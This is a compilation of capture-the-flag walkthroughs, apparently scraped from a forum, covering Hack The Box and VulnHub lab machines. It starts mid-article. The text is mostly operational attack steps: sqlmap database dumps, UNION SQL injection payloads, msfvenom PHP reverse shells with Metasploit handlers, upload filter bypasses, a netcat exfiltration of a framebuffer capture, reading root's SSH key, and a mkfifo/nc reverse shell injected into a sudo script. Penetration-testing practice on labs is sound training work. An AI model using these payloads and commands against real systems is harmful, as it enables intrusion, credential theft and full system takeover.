It surely asks for a root password. Let us type what we just got in pass.bak file. And you can observe kay has ALL permissions.
sudo su
Voila! It gives us root access. Let’s check the /root directory by:
cd /root
ls

1
2

cd /root
ls

And we got a flag!

Hence, we were able to attain the flag in this challenge. Happy hacking!
[Image: 10.png?w=687&ssl=1]

In this Post, we are going to solve another CTF challenge “falafel” which is available online for those who want to increase their skill in penetration testing and black box testing. Falafel is a retired vulnerable lab presented by hack the box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to expert level.
Level: Hard
Task: find user.txt & root.txt file on the victim’s machine
Penetration Methodology
Scanning
  • Open ports and Running services (Nmap)
Enumeration
  • Enumerating Web Directory (Dirbuster)
  • Identify Web application vulnerability
  • SQL Injection
Exploiting Web Application Vulnerabilities
  • Login form SQL Injection
  • File Upload
Spawning Shell
  • Injecting PHP payload (Metasploit)
  • Stealing SSH Credential
  • SSH login
  • Get user.txt
Privilege Escalation
  • Cracking Frame-buffer Device (Cyber Forensic)
  • Escalated root shell
  • Get root.txt
Walk-Through
Scanning
Since these labs are online available therefore they have static IP and its IP is 10.10.10.73 so let’s begin with nmap port enumeration.
nmap –A 10.10.10.73
1
nmap –A 10.10.10.73

From its scanning result, we found port 22 and 80 are open for ssh and http services.
[Image: 1.png?w=687&ssl=1]
So we explored target IP through the web browser and it put up a login page shown.
[Image: 2.png?w=687&ssl=1]
Enumeration
When I didn’t found any remarkable things then I used Dirbuster for directory brute force attack. It put up so many files but /cyberlaw.txt looks more interesting so I browsed

[To see content please register here]

and put a message in front of me.

[Image: 3.png?w=687&ssl=1]
By reading this message, I conclude that there is an admin account and which is facing major security issue and an attacker can easily take over the website using an image upload feature. Moreover, there is some hint on the URL filter.
[Image: 4.png?w=687&ssl=1]
Then we try SQL injection on the login form but it gave an error “Wrong Identification: admin”
[Image: 5.png?w=687&ssl=1]
Exploiting Web Application Vulnerabilities
Then we make more efforts for SQL injection by using SQLMAP and used “Wrong identification” as a string to be passed at the time of login.
sqlmap -u

[To see content please register here]

--forms --level 5 --risk 3 --string "Wrong identification" --dbs --batch

1
sqlmap -u

[To see content please register here]

--forms --level 5 --risk 3 --string "Wrong identification" --dbs --batch

[Image: 6.png?w=687&ssl=1]
As result, it dumps the database name “falafel” now let’s extract the whole database information.
[Image: 7.png?w=687&ssl=1]
sqlmap -u

[To see content please register here]

--forms --level 5 --risk 3 --string "Wrong identification" -D falafel --tables --batch
sqlmap -u

[To see content please register here]

--forms --level 5 --risk 3 --string "Wrong identification" -D falafel -T users --dump --batch

1
2

sqlmap -u

[To see content please register here]

--forms --level 5 --risk 3 --string "Wrong identification" -D falafel --tables --batch
sqlmap -u

[To see content please register here]

--forms --level 5 --risk 3 --string "Wrong identification" -D falafel -T users --dump --batch

So we got users tables from inside it and it has username and password as shown.
[Image: 8.png?w=687&ssl=1]
As you can observe that the password hash for user admin is started with 0 and I don’t know much about this type of hash, so we look in the Google and notice link for Magic hashes.
[Image: 9.png?w=687&ssl=1]
As you can observe the highlighted md5 hash for the 32-bit string is same as above……………………….
[Image: 10.png?w=687&ssl=1]
With help of the following credential we login into admin dashboard and move to upload options.
Username: admin
Password: 240610708

1
2

Username: admin
Password: 240610708

[Image: 11.png?w=687&ssl=1]
Here we are trying to upload a php file named shell.php but it put an error “Bad extension “as shown
Thereafter we renamed it as shell.php.png and again try to upload.
[Image: 12.png?w=687&ssl=1]
Ohh! Yes, the file with .png extension get uploaded successfully inside /var/www/html/uploads hence we can to upload a malicious php file or any php backdoor with .png extension.
[Image: 14.png?w=687&ssl=1]
Spawning Shell
Let’s create a PHP payload for uploading into the web site. We have to use the msfvenom command for generating PHP backdoor.
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.25 lport=4444 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.25 lport=4444 -f raw

Now copy the code from *<?php….die(); and paste in a text file then as rajjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj.php.png (240 character) also start multi handler in a new terminal.
[Image: 15.png?w=687&ssl=1]
Let me make it clear to you, here the author has applied filter for identifying  240 character file which means your file name must contain 240 characters including extension.
[Image: 16.png?w=687&ssl=1]
As shown in the given image the PHP file is uploaded successfully inside /var/www/html/uploads.
[Image: 17.png?w=687&ssl=1]
Let execute it in the URL for obtaining reverse shell at Metasploit.
[Image: 18.png?w=687&ssl=1]
Meanwhile, return to the Metasploit terminal and wait for the meterpreter session by exploiting multi handler.
msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 10.10.14.25
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit

1
2
3
4
5

msf use exploit/multi/handler
msf exploit(multi/handler) set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) set lhost 10.10.14.25
msf exploit(multi/handler) set lport 4444
msf exploit(multi/handler) exploit

From given below image you can observe Meterpreter session 1. But the task is not finished yet, still, we need to penetrate more for privilege escalation. Further, we open passwd file and notice two system username i.e. yossi and moshe.
meterpreter> cat /etc/passwd
1
meterpreter> cat /etc/passwd

[Image: 19.png?w=687&ssl=1]
After making some more inspection we found a file connection.php from inside /var/www/html and receive database credential from inside it.
meterpreter> cd /var/www/html
meterpreter> ls
meterpreter> cat /connection.php

1
2
3

meterpreter> cd /var/www/html
meterpreter> ls
meterpreter> cat /connection.php

This is MySQL configuration file for MySQL where username is moshe and password is falafelIsReallyTasty
[Image: 20.png?w=687&ssl=1]
With help of above credential we are trying to ssh login and after making successful login we found the user.txt file from inside /home/moshe
ssh [email protected]
python3 -c 'import pty;pty.spawn("/bin/bash")'
cd /home                                                           
cd moshe
cat user.txt

1
2
3
4
5

ssh [email protected]
python3 -c 'import pty;pty.spawn("/bin/bash")'
cd /home                                                           
cd moshe
cat user.txt

[Image: 21.png?w=687&ssl=1]
Privilege Escalation
After some more penetration, we enumerated the groups for user moshe and found that the user is in the video group. When we found uses as the member of the video group then for Privilege Escalation we need check frame-buffer device. Because this can lead a local user able to access a frame buffer device file (/dev/fb*) could possibly use this flaw to escalate their privileges on the system.
Let’s have the contents of /dev/fb0 with help of cat command to capture the framebuffer raw data inside /tmp directory as scree.raw
groups
cat /dev/fb0 > /tmp/screen.raw
cd /tmp
ls
nc 10.10.14.25 5555 < screen.raw

1
2
3
4
5

groups
cat /dev/fb0 > /tmp/screen.raw
cd /tmp
ls
nc 10.10.14.25 5555 < screen.raw

So we have captured the raw data inside /tmp, now you need to take the raw image and convert it to a standard image format say .png but we before that we need to find t the size, use the following command which will print the dimension……………..
cat /sys/class/graphics/fb0/virtual_size
1
cat /sys/class/graphics/fb0/virtual_size

[Image: 22.png?w=687&ssl=1]
Now enter the following command to convert raw data into a .png image format
./iraw2png.pl 1176 885 < screen.raw > screen.png
1
./iraw2png.pl 1176 885 < screen.raw > screen.png

[Image: 24.png?w=687&ssl=1]
Then we opened screen.png and got the following image which was showing password: MoshePlzStopHackingMe! for user Yossi.
[Image: 25.png?w=687&ssl=1]
With help of above-enumerated credential, we have made SSH login successfully and then run following command for getting SSH RSA key.
df
debugfs /dev/sda1
cat /root/.ssh/id_rsa

1
2
3

df
debugfs /dev/sda1
cat /root/.ssh/id_rsa

[Image: 27.png?w=687&ssl=1]
Now copy the RSA key in a text file and named as key in your local machine. Also, give permission 600 to it. Then connect to ssh once again through above RSA file as given below:
ssh -i key [email protected]
ls
cat root.txt

1
2
3

ssh -i key [email protected]
ls
cat root.txt

[Image: 28.png?w=687&ssl=1]


  [Guide] How to Hack the Box Challenge: Charon Walkthrough
Posted by: NINZA - 05-14-2020, 09:06 AM - Forum: Carders Home - No Replies

Hello friends!! Today we are going to solve another CTF challenge “Charon” which is available online for those who want to increase their skill in penetration testing and black box testing. Charon is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Expert
Task: find user.txt and root.txt file on victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.31 so let’s begin with nmap port enumeration.
nmap -sV 10.10.10.31
1
nmap -sV 10.10.10.31

[Image: 1.png?w=687]
From given below image, you can observe we found port 22 and 80 are open on target system.
As port 80 is running http server we open the target machine’s ip address in our browser.
[Image: 2.png?w=687]
We run dirbuster on port 80, which reveals a directory entitled “cmsdata/”.
[Image: 3.png?w=687]
We open the link, and are presented with a login page.
[Image: 4.png?w=687]
We don’t find anything on the login page, so we go to forgot password link.
[Image: 5.png?w=687]
We capture the request of the page using burpsuite, and send it to repeater.
[Image: 6.png?w=687]
After sending the request to repeater, we try to enumerate if the site is vulnerable to SQL-injection. As soon as we add a quote at the end of our email id we get a database error.
[Image: 7.png?w=687]
Now to confirm that the site is vulnerable to SQL-injection we use “– – “to comment the query and remove the error.
[Image: 8.png?w=687]
Now as we know the site is vulnerable to SQL injection, we try to exploit it. First we find the number of columns, to check the number of columns we use “ORDER BY” command to find the number of columns in the table. After find the number of columns we use “UNION SELECT” command to give the output column names with the respective numbers. As UNION and union is blacklisted, we use UNion for SQL-injection.
‘UNion SELECT 1,2,3,4 — –
[Image: 9.png?w=687]
We couldn’t run any commands in columns, but when we pass a string in column 4, we successfully ran our query.
[Image: 10.png?w=687]
Now we know how bypass the security using string, we first find the name of the database
' UNion select 1,2,3,concat(database(), "@who.ami") -- -
1
' UNion select 1,2,3,concat(database(), "@who.ami") -- -

[Image: 11.png?w=687]
After finding the name of the database we find the table name in the database.
' UNion select 1,2,3,concat(table_name, "@who.ami") FROM information_schema.tables where table_schema="supercms" limit 1,1 -- -
1
' UNion select 1,2,3,concat(table_name, "@who.ami") FROM information_schema.tables where table_schema="supercms" limit 1,1 -- -

[Image: 12.png?w=687]
Enumerating the tables in the database; we find two tables, one called license and another one called operators.
' UNion select 1,2,3,concat(table_name, "@who.ami") FROM information_schema.tables where table_schema="supercms" limit 2,1 -- -
1
' UNion select 1,2,3,concat(table_name, "@who.ami") FROM information_schema.tables where table_schema="supercms" limit 2,1 -- -

[Image: 13.png?w=687]
After getting the names of the tables, we enumerate the columns. The license table doesn’t have any interesting columns but in the “operators” table we find a column called “__username_”.
' UNion select 1,2,3,concat(column_name, "@who.ami") FROM information_schema.columns where table_name="operators" limit 1,1 -- -
1
' UNion select 1,2,3,concat(column_name, "@who.ami") FROM information_schema.columns where table_name="operators" limit 1,1 -- -

[Image: 14.png?w=687]
After getting the “__username_” column we enumerate further and get a column called “__password_”.
' UNion select 1,2,3,concat(column_name, "@who.ami") FROM information_schema.columns where table_name="operators" limit 2,1 -- -
1
' UNion select 1,2,3,concat(column_name, "@who.ami") FROM information_schema.columns where table_name="operators" limit 2,1 -- -

[Image: 15.png?w=687]
Now we dump the column name “__username_”.
' UNion select 1,2,3,concat(__username_, "@who.ami") FROM operators limit 1,1 -- -
1
' UNion select 1,2,3,concat(__username_, "@who.ami") FROM operators limit 1,1 -- -

[Image: 16.png?w=687]
Now we dump the column name “__password_” for the username = “super_cms_adm”.
' UNion select 1,2,3,concat(__password_, “@who.ami”) FROM operators limit 1,1 -- -
1
' UNion select 1,2,3,concat(__password_, “@who.ami”) FROM operators limit 1,1 -- -

[Image: 17.png?w=687]
When we dump the “__password_” column we get a hash. We use hashkiller.co.uk to crack the password.
[Image: 18.png?w=687]
Now we got the credentials for the supercms login page, super_cms_adm:tamarro.
[Image: charon.png?w=687&ssl=1]
Now login using the above credentials, we were able to get a page where there is an option for uploading image.
[Image: 20.png?w=687]
Now we open the link and find an upload page.
[Image: 21.png?w=687]
We take a look at the source page and find a base64 encoded string.
[Image: 22.png?w=687]
When we decode it we find a string called “testfile1”. It is possible that there is hidden field with this name.
[Image: 23.png?w=687]
Now we create a php payload using msfvenom, so that we can upload our php shell.
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.7 lport=4444 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.7 lport=4444 -f raw

[Image: 24.png?w=687]
We capture the upload request and create a new field and add “file.php”.
[Image: 25.png?w=687]
Now we get the link the location of the file we just uploaded in /images/.
[Image: 26.png?w=687]
Before running our shell, we setup our listener using metasploit.
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.14.7
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > run

1
2
3
4
5

msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.14.7
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > run

[Image: 27.png?w=687]
As soon as we open the link to our shell, we get our reverse shell.
meterpreter > sysinfo
[Image: 28.png?w=687]
Now enumerating through the system we find an encrytpted file and a public key inside /home/decoder directory.
[Image: 30.png?w=687]
We download both the files into our system.
meterpreter > download decoder.pub /root/Desktop
meterpreter > download pass.crypt /root/Desktop

1
2

meterpreter > download decoder.pub /root/Desktop
meterpreter > download pass.crypt /root/Desktop

[Image: 31.png?w=687]
Now we decode the encrypted file using public key with the RsaCtfTool.
./RsaCtfTool.py --publickey /root/Desktop/decoder.pub –uncipherfile /root/Desktop/pass.crypt
1
./RsaCtfTool.py --publickey /root/Desktop/decoder.pub –uncipherfile /root/Desktop/pass.crypt

[Image: 34.png?w=687]
We use ssh to login using the credentials, decoder:nevermindthebollocks.
ssh [email protected]
1
ssh [email protected]

[Image: 35.png?w=687]
After logging in we find a file called user.txt, we open the file and find our first flag.
[Image: 36.png?w=687]
Now we find the files with SUID bit set and find a file called supershell in /usr/local/bin/ directory.
find / -perm -4000 2>/dev/null
1
find / -perm -4000 2>/dev/null

[Image: 37.png?w=687]
When we run the binary we find that we can run any shell command using this binary. We use this to open root.txt inside /root/ directory. When we open root.txt we find our final flag.
supershell "/bin/ls$
> cat /root/root.txt"

1
2

supershell "/bin/ls$
> cat /root/root.txt"

[Image: 38.png?w=687]

Hello friends! Today we are going to take another boot2root challenge known as PinkyPalace. The credit for making this vm machine goes to “Pink_panther” and it is another boot to root challenge in which our goal is to gain root access to complete the challenge. You can download this VM

[To see content please register here]

.
Let’s Breach!!!
Let’s do an nmap scan for port enumeration.
nmap -sV -p- 192.168.1.137
1
nmap -sV -p- 192.168.1.137

[Image: 1.png?w=687&ssl=1]
Nmap scan shows us the following ports are open and the corresponding services are running:
nginx web server on port 8080
a squid proxy on port 31337
a ssh daemon  on port 64666
As port 8080 is running nginx, we try to enumerate the webserver but it returns a 403 forbidden code.
[Image: 2.png?w=687&ssl=1]
Now we know that the target machine is running squid server so we try to parse any request that go through it. We use foxyproxy addon to setup a proxy connection in our browser.
[Image: 3.png?w=687&ssl=1]
After setting up our proxy we try to open the webserver, we find that the server is probably configured to allow access from localhost. As when we try to access it via server’s IP address we still get a forbidden response.
[Image: 4.png?w=687&ssl=1]
We enumerate the directories by pivoting our connection through the squid proxy and find a directory called littlesecretes-main/.
dirb

[To see content please register here]

/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -p 192.168.1.137:31337

1
dirb

[To see content please register here]

/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -p 192.168.1.137:31337

[Image: 5.png?w=687&ssl=1]
We open the link that was discovered by the dirb scan, it opens up a page that asks for username and password. We tried to check for sql injection using sqlmap and find that the page is vulnerable to sql injection.
[Image: 6.png?w=687&ssl=1]
Now we enumerate the users and password using sqlmap and find 2 users and the hashes of there password.
sqlmap --proxy=http://192.168.1.137:31337 –data="user=hacking&pass=articles&submit=Login" -u

[To see content please register here]

--level=5 --risk=3 --dump users

1
sqlmap --proxy=http://192.168.1.137:31337 –data="user=hacking&pass=articles&submit=Login" -u

[To see content please register here]

--level=5 --risk=3 --dump users

[Image: 7.png?w=687&ssl=1]
We use the site

[To see content please register here]

to decrypt the hash we found in the sqlmap dump. The password for the user pinkymage was decrypted.

[Image: 8.png?w=687&ssl=1]
We were unable to login through the web server using these credentials. So we used them to login through ssh.
ssh [email protected] -p64666
1
ssh [email protected] -p64666

[Image: 9.png?w=687&ssl=1]
While enumerating the target machine we find a file called “note.txt” in /var/www/html/littlesecrets-main/ultrasecretadminf1l35/, we open the open and find a hint to search for RSA key. We tried to search for hidden files in the directory and find a hidden file called “.ultrasecret”.
[Image: 10.png?w=687&ssl=1]
When we take a look at the content of the hidden file; we find a base64 encoded string and when we decrypted it we find that it was a RSA Key.
[Image: 11.png?w=687&ssl=1]
We tried to decrypt and save the file in the current directory but we don’t have write permissions for the directory. So we decrypt the hidden file and save it in our home directory of user pinkymanage as id_rsa.
[Image: 12.png?w=687&ssl=1]
Now we move to the home directory for the user pinkymanage and give the RSA key its appropriate permissions. Then we login as user pinky through ssh.
chmod 600 id_rsa
ssh -i id_rsa pinky@localhost -p64666

1
2

chmod 600 id_rsa
ssh -i id_rsa pinky@localhost -p64666

[Image: 13.png?w=687&ssl=1]
After logging in as pinky we find two files one executable with suid bit set called “adminhelper” and another text file called “note.txt”. We open the note.txt and find
[Image: 14.png?w=687&ssl=1]
Now we download the file to our system using base64 to convert the hex strings in the file into base64 encrypted strings
[Image: 15.png?w=687&ssl=1]
Now we decrypt the file into our system as save it as file admin.
[Image: 16.png?w=687&ssl=1]
We open the file in our sytem and find a strcpy function in line main+42; as strcpy is vulnerable to buffer overflow. We will try to exploit this vulnerability.
[Image: 17.png?w=687&ssl=1]
To exploit buffer overflow, first we need to overwrite the adjacent memory locations and find the EIP offset. We use pattern_create.rb script to generate a 78 bytes long string.
./pattern_create.rb -l 78
1
./pattern_create.rb -l 78

[Image: 19.png?w=687&ssl=1]
Now we run the file with the string we generated as our argument and find that we were able to overwrite the EIP.
[Image: 20.png?w=687&ssl=1]
To find the EIP offset we used the pattern_offset command, and find the EIP offset to be 72.
./pattern_offset.rb -q 356341346341 -l 78
1
./pattern_offset.rb -q 356341346341 -l 78

[Image: 21.png?w=687&ssl=1]
There are no binary defences like NX or ASLR but there is PIE. So we can’t use the ROP tricks, but we can use Shellcode Injection. We overwrite the EIP with the address of our shellcode which was stored in the kernel environment. This spawns a tty shell as root user.
[Image: 22.png?w=687&ssl=1]
Now we move to root directory and find a file called “root.txt” inside it. We take a look at the content of the file and find the congratulatory flag.
[Image: 23.png?w=687&ssl=1]

Hello friends!! Today we are going to solve another CTF challenge “Jail” which is available online for those who want to increase their skill in penetration testing and black box testing. Jail is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Expert
Task: find user.txt and root.txt file on victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.34 so let’s begin with nmap port enumeration.
nmap -sV –p- 10.10.10.34 --open
1
nmap -sV –p- 10.10.10.34 --open

[Image: 1.png?w=687&ssl=1]
From given below image, you can observe we found port 22 and 80 are open on target system.
As port 80 is running http server we open the target machine’s ip address in our browser, and find an ascii art of prison cell on the webpage.
[Image: 2.png?w=687&ssl=1]
We run dirbuster on port 80, which reveals a directory entitled jailuser/, with a folder called dev/ inside the directory.
[Image: 3.png?w=687&ssl=1]
Inside the folder we see three files; a binary file, a c-program, and a bash script.
[Image: 4.png?w=687&ssl=1]
We open the c-program and find that it is a program for some kind of authentication. We also find that it uses strcpy function for the variable password.
[Image: 5.png?w=687&ssl=1]
We download the rest of the files, in the bash script there are just a few commands for a service called jail and by checking the jail binary we find that it is an ELF file.
[Image: 6.png?w=687&ssl=1]
Now we give the binary executable permissions and run the binary.
[Image: 7.png?w=687&ssl=1]
We check netstat and find that it opens up a port 7411. We check the nmap scan and find that port 7411 is open in the target machine.
[Image: 8.png?w=687&ssl=1]
Now we open the binary in gdb to look at the assembly code. The binary works by forking itself to each server call, so in the event of a crash the primary process will still run.  We use the command below in gdb to make the process debug in forked process.
gdb -q jail
(gdb)  set follow-fork-mode child
(gdb) set detach-on-fork off
(gdb) run

1
2
3
4

gdb -q jail
(gdb)  set follow-fork-mode child
(gdb) set detach-on-fork off
(gdb) run

[Image: 9.png?w=687&ssl=1]
First we create a 50 bytes long string to find the EIP offset using patter_create script.
./pattern_create –l 50
[Image: 10.png?w=687&ssl=1]
Now we connect to the binary running on our system using netcat. We check the c program we found earlier to find the functions we need to use.
We know from the c-program that there is a strcpy function that copies the content of a variable called password to a variable called username. Now we use the pattern we created earlier and send it as password variable. We use the DEBUG function of the binary to get the address of the stack pointer.
nc localhost 7411
USER admin
DEBUG
PASS {pattern}

1
2
3
4

nc localhost 7411
USER admin
DEBUG
PASS {pattern}

[Image: 11.png?w=687&ssl=1]
As soon as we pass the string we get a segmentation fault and find that the EIP register was overwritten with 0x62413961.
[Image: 12.png?w=687&ssl=1]
We pass that into /usr/share/metasploit-framework/tools/pattern_offset.rb, we get an offset of28. So we need to write 28 characters and then write the address of the instructions we want to be executed.
./pattern_offset.rb  -q 62413961 -l 50
1
./pattern_offset.rb  -q 62413961 -l 50

[Image: 13.png?w=687&ssl=1]

The off-set is 28 now we can proceed to create our python exploit using the available data to gain a shell. You can download the exploit used in the machine from

[To see content please register here]

. After running the exploit we get a shell as user “nobody”.

[Image: 14.png?w=687&ssl=1]
Now for privilege escalation, we know that the machine is running NFS share we try to exploit it. We first find the shared folders of the target machine.
showmount -e 10.10.10.34
[Image: 15.png?w=687&ssl=1]
After finding the shared folders we mount them locally. After mounting the shared folder we find that only root user has read, write and execute permissions but a user with GID 1000 can write and execute files inside the folder.
[Image: 16.png?w=687&ssl=1]
So we create a user with GID 1000, so that we can upload our shell to exploit this weak permission vulnerability.
[Image: 18.png?w=687&ssl=1]
We login as user frank and create a c-program inside the shared folder that can set the real and effective user id to be 1000 of the calling the process.
[Image: 19.png?w=687&ssl=1]
Then we compile the program set the suid bit, so that we can spawn a shell with EUID 1000.
[Image: 20.png?w=687&ssl=1]
Now we go back to our reverse shell and run the binary that we just created. As soon as we run binary we spawn a shell as user “frank”.
[Image: 21.png?w=687&ssl=1]
We spawn a TTY shell and take a look at the sudoers list. We find that we can open jail.c file in /var/www/html/jailuser with rvim as user adm with no password.
python -c "import pty;pty.spawn(‘/bin/bash’)"
sudo -l

1
2

python -c "import pty;pty.spawn(‘/bin/bash’)"
sudo -l

[Image: 22.png?w=687&ssl=1]
Before running the command we find in the sudoers list, first we go to /home/frank directory and find a file called “user.txt”. We take a look at the content of the file and find our first flag.
[Image: 23.png?w=687&ssl=1]
Now we run the 2nd command we find in the sudoers list. Now we use rvim to spawn a shell, as rvim is running as user adm when we spawn a shell we will get a shell as user adm.
[Image: 24.png?w=687&ssl=1]
Inside adm’s home directory we find a hidden folder called “.keys”. We go inside the directory and find one rar file called “keys.rar”, and one text file called “note.txt”.
[Image: 25.png?w=687&ssl=1]
We take a look at the content of note.txt file and find a hint for a password that states that the password would be user Frank’s last name followed by 4 digits and a symbol.
[Image: 26.png?w=687&ssl=1]
Now when we try to look for hidden directories, we find another folder called “.local”, we go inside that directory and find a hidden file called “.frank”.
[Image: 27.png?w=687&ssl=1]
We open the file and find it that the content of the file is encrypted.
[Image: 28.png?w=687&ssl=1]
We use the site

[To see content please register here]

and find the decrypted text; it was related to someone escaping Alcatraz.

[Image: 29.png?w=687&ssl=1]
Now we want to send keys.rar file from the target machine to our system. We first convert the content of keys.rar to base64 enoding, so that there are no bad characters.
[Image: 30.png?w=687&ssl=1]
Now we recreate the file by decoding the string in our local system.
[Image: 31.png?w=687&ssl=1]
When we try to extract the rar file we are asked for a password.
unrar x keys.rar
[Image: 32.png?w=687&ssl=1]
Now from the earlier hint we try to google search “frank Alcatraz” and find that there was a guy called Frank Miller who escaped Alcatraz prison in 1962.
[Image: 33.png?w=687&ssl=1]
We know that there was a message from the administrator to frank that his password is his last name followed by 4 digits and 1 symbol. We use crunch to create a dictionary with this information, we assume the number to be 1962 as it was the year Frank Miller escaped and it fits the 4 digit number in his password.
crunch 11 11 -o jail-wlist -f /usr/share/crunch/charset.lst symbols-all -t Morris1962@
1
crunch 11 11 -o jail-wlist -f /usr/share/crunch/charset.lst symbols-all -t Morris1962@

After creating a wordlist, we use rar2john utility to convert keys.rar into a format suitable for use with john the ripper.
rar2john keys.rar > jail
1
rar2john keys.rar > jail

[Image: 34.png?w=687&ssl=1]
We find the password to “Morris1962!” after we ran john the ripper to find the password for the rar file using the word list we created using crunch.
[Image: 35.png?w=687&ssl=1]
Now we extract the file using the password we find earlier and find a public key.
[Image: 37.png?w=687&ssl=1]
We use rsactftool to convert the public key into private key so that we can use this to login through ssh. After getting the private key; we change the permission of the private key to read write for owner only. You can download the RsaCtfTool

[To see content please register here]

.

python RsaCtfTool.py --publickey /root/rootauthorizedsshkey.pub –private > /root/id_rsa
1
python RsaCtfTool.py --publickey /root/rootauthorizedsshkey.pub –private > /root/id_rsa

[Image: 38.png?w=687&ssl=1]
We use the ssh private key to login into the target machine; once we connected through ssh we were login as root user we check the content for home directory of root and find a file called “root.txt”. We check inside the file and find our second and final flag.
ssh -i id_rsa 10.10.10.34
1
ssh -i id_rsa 10.10.10.34

[Image: 39.png?w=687&ssl=1]

Today we are going to solve another CTF challenge “Nibble” which is categories as retired lab presented by Hack the Box for making online penetration practices.
Level: Easy
Task: find user.txt and root.txt file on the victim’s machine.
Penetration Methodology
Scanning
  • Open ports and running services (Nmap)
Enumeration
  • Nibbleblog-CMS
Exploit NibbleBlog 4.0.3
  • Code Execution by uploading the PHP file (Metasploit)
  • Get User.txt
Privilege Escalation
  • Get root.txt
Walkthrough
Since these labs are online accessible therefore they have static IP. The IP of Nibble is 10.10.10.75 so let’s initiate with nmap port enumeration.
nmap -A 10.10.10.75
1
nmap -A 10.10.10.75

As you can see in the given screenshot that we have two services running on our Target Machine, ssh and HTTP on ports 22 and 80 respectively.
[Image: 1.png?w=687&ssl=1]
The Port 80 is open so let’s open IP in out Browser to see that if a website is hosted on the IP. After opening the IP in the browser, we were greeted by the following page.
[Image: 2.png?w=687&ssl=1]
Then we use curl to send http request on

[To see content please register here]

and notice /nibbleblog/ which could be any web directory.

[Image: 3.png?w=687&ssl=1]
So we execute the

[To see content please register here]

directory put us on the main page of a blogging platform NibbleBlog Yum Yum. Without wasting time search for the exploit in the Google and Rapid 7 link for its exploitation.

[Image: 4.png?w=687&ssl=1]
So we load the Metasploit framework and executed following command to take a meterpreter session of victim’s VM.
According to this module, Nibbleblog contains a flaw that allows an authenticated remote attacker to execute arbitrary PHP code. This module was tested on version 4.0.3.
use exploit/multi/http/nibbleblog_file_upload
msf exploit(multi/http/nibbleblog_file_upload) > set rhost 10.10.10.75
msf exploit(multi/http/nibbleblog_file_upload) > set username admin
msf exploit(multi/http/nibbleblog_file_upload) > set password nibbles
msf exploit(multi/http/nibbleblog_file_upload) > set targeturi /nibbleblog
msf exploit(multi/http/nibbleblog_file_upload) > exploit

1
2
3
4
5
6

use exploit/multi/http/nibbleblog_file_upload
msf exploit(multi/http/nibbleblog_file_upload) > set rhost 10.10.10.75
msf exploit(multi/http/nibbleblog_file_upload) > set username admin
msf exploit(multi/http/nibbleblog_file_upload) > set password nibbles
msf exploit(multi/http/nibbleblog_file_upload) > set targeturi /nibbleblog
msf exploit(multi/http/nibbleblog_file_upload) > exploit

From given below image you can observe meterpreter session 1 opened for accessing victim tty shell.
Now let’s finish the task by grabbing user.txt and root.txt file. First I move into /home directory and check available files and directories inside it. I found the 1st flag “user.txt” from inside /home/nibbler.
cd /home
cd /nibbler
cat user.txt

1
2
3

cd /home
cd /nibbler
cat user.txt

[Image: 6.png?w=687&ssl=1]
For spawning proper tty shell of target’s system we need to import python file, therefore, I run following command inside the meterpreter shell.
shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
ls

1
2
3

shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
ls

Inside /nibbler there was a zip file so we try to unzip it with help of the following command and after extracting zip file we got a directory “personal”, so we get inside it, then with a little more efforts found a script monitor.sh.
unzip personal.zip
cd personal
ls
cd stuff
ls -al

1
2
3
4
5

unzip personal.zip
cd personal
ls
cd stuff
ls -al

[Image: 7.png?w=687&ssl=1]
Then I check sudo rights for user “nibbler” and notice nibbler has sudo permission for script monitor.sh which means he is authorized to modify this script.
[Image: 8.png?w=687&ssl=1]
So in a new terminal, we generated a payload for netcat shell with help of msfvenom command as shown and copied the highlighted code and start netcat listener too.
msfvenom -p cmd/unix/reverse_netcat lhost=10.10.14.25 lport=5555 R
nc -lvp 5555

1
2

msfvenom -p cmd/unix/reverse_netcat lhost=10.10.14.25 lport=5555 R
nc -lvp 5555

[Image: 9.png?w=687&ssl=1]
Then to it exploit it we move inside following Path: /home/nibbler/personal/stuff/ and paste the above-copied code inside monitor.sh as shown below
cd /home/nibbler/personal/stuff/
echo "mkfifo /tmp/jswwrii; nc 10.10.14.25 5555 0</tmp/jswwrii | /bin/sh >/tmp/jswwrii 2>&1; rm /tmp/jswwrii" > monitor.sh

1
2

cd /home/nibbler/personal/stuff/
echo "mkfifo /tmp/jswwrii; nc 10.10.14.25 5555 0</tmp/jswwrii | /bin/sh >/tmp/jswwrii 2>&1; rm /tmp/jswwrii" > monitor.sh

Since we knew monitor.sh has full permission, so we can run it to obtain reverse shell along root access.
[Image: 10.png?w=687&ssl=1]
On other, we have a netcat listener, which has provided root access to us. Let’s finish this task and grab the root.txt file………………………………..
id
cd /root
ls
root.txt
cat root.txt

1
2
3
4
5

id
cd /root
ls
root.txt
cat root.txt

[Image: 11.png?w=687&ssl=1]


